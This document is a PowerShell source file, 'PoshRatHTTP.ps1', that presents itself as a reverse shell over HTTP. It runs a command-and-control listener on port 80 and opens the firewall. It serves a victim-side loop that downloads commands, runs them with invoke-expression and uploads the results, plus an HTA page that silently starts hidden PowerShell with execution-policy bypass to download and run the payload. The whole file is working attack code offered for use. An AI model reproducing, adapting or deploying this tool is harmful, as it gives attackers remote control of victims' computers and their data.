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PoshRatHTTP.ps1
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PoshRatHTTP.ps1
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<#
.SYNOPSIS
Simple Reverse Shell over HTTP. Deliver the link to the target and wait for connectback.
.PARAMETER Server
Listening Server IP Address
#>
$Server = '127.0.0.1' #Listening IP. Change This.
function Receive-Request {
param(
$Request
)
$output = ""
$size = $Request.ContentLength64 + 1
$buffer = New-Object byte[] $size
do {
$count = $Request.InputStream.Read($buffer, 0, $size)
$output += $Request.ContentEncoding.GetString($buffer, 0, $count)
} until($count -lt $size)
$Request.InputStream.Close()
write-host $output
}
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/')
netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null
$listener.Start()
'Listening ...'
while ($true) {
$context = $listener.GetContext() # blocks until request is received
$request = $context.Request
$response = $context.Response
$hostip = $request.RemoteEndPoint
#Use this for One-Liner Start
if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) {
write-host "Host Connected" -fore Cyan
$message = '
$s = "http://' + $Server + '/rat"
$w = New-Object Net.WebClient
while($true)
{
$r = $w.DownloadString("$s")
while($r) {
$o = invoke-expression $r | out-string
$w.UploadString("$s", $o)
break
}
}
'
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) {
Receive-Request($request)
}
if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {
$response.ContentType = 'text/plain'
$message = Read-Host "PS $hostip>"
}
if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) {
$enc = [system.Text.Encoding]::UTF8
$response.ContentType = 'application/hta'
$htacode = '<html>
<head>
<script>
var c = "cmd.exe /c powershell.exe -w hidden -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring(''http://' + $Server + '/connect''))\"\"";' +
'new ActiveXObject(''WScript.Shell'').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>'
$buffer = $enc.GetBytes($htacode)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
continue
}
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
$response.ContentLength64 = $buffer.length
$output = $response.OutputStream
$output.Write($buffer, 0, $buffer.length)
$output.Close()
}
$listener.Stop()